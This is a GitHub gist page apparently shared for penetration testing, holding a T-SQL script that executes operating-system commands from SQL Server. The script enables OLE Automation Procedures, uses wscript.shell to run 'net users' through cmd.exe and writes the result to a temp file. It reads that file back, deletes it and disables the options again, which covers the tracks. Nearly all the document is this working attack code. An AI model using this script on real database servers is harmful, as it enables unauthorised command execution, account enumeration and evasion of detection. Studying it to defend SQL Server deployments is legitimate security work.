Last active
January 14, 2021 00:15
-
-
Save nullbind/a2689bc8f7d85ecfc3a699a28cc476bc to your computer and use it in GitHub Desktop.
SQL Server - OS Cmdexec - Ole Automation Procedure Example
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- set output directory to install sql server install dir | |
| -- set output file to randomly generate name | |
| -- show advanced options | |
| sp_configure 'show advanced options',1 | |
| reconfigure | |
| go | |
| -- turn on ole automation | |
| sp_configure 'Ole Automation Procedures',1 | |
| reconfigure | |
| go | |
| SET NOCOUNT ON | |
| -- Create variables | |
| DECLARE @shell INT | |
| DECLARE @fso INT | |
| DECLARE @file INT | |
| DECLARE @isEnd BIT | |
| DECLARE @out VARCHAR(8000) | |
| DECLARE @blah varchar(8000) | |
| -- Execute command and output to file | |
| EXEC @blah = Sp_oacreate 'wscript.shell' , @shell Output | |
| EXEC @blah = Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "net users > c:\temp\now.txt"' , @blah out | |
| -- Consider Delay here | |
| -- Read output file | |
| EXEC Sp_oacreate 'scripting.filesystemobject' , @fso Output | |
| EXEC Sp_oamethod @fso, 'opentextfile' , @file Out, 'c:\temp\now.txt',1 | |
| -- scripting.filesystemobject example - read a known file | |
| declare @o int, @f int, @t int, @ret int declare @line varchar(8000) | |
| exec sp_oacreate 'scripting.filesystemobject', @o out | |
| exec sp_oamethod @o, 'opentextfile', @f out, 'c:\temp\now.txt', 1 | |
| exec @ret = sp_oamethod @f, 'readall', @line out | |
| select @line as output | |
| /** | |
| exec @ret = sp_oamethod @f, 'readline', @line out | |
| while( @ret = 0 ) | |
| begin | |
| select @line exec | |
| @ret = sp_oamethod @f, 'readline', @line out | |
| end | |
| **/ | |
| -- close the handle | |
| EXEC sp_OAMethod @shell, 'Close' | |
| EXEC sp_OADestroy @shell | |
| go | |
| -- delete output file | |
| DECLARE @shell INT | |
| EXEC Sp_oacreate 'wscript.shell' , @shell Output | |
| EXEC Sp_oamethod @shell, 'run' , null, 'cmd.exe /c "DEL c:\temp\now.txt"' , '0' , 'true' | |
| EXEC sp_OAMethod @shell, 'Close' | |
| EXEC sp_OADestroy @shell | |
| go | |
| -- turn off ole automation | |
| sp_configure 'Ole Automation Procedures',0 | |
| reconfigure | |
| go | |
| -- turn off show advanced options | |
| sp_configure 'show advanced options',0 | |
| reconfigure | |
| go |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment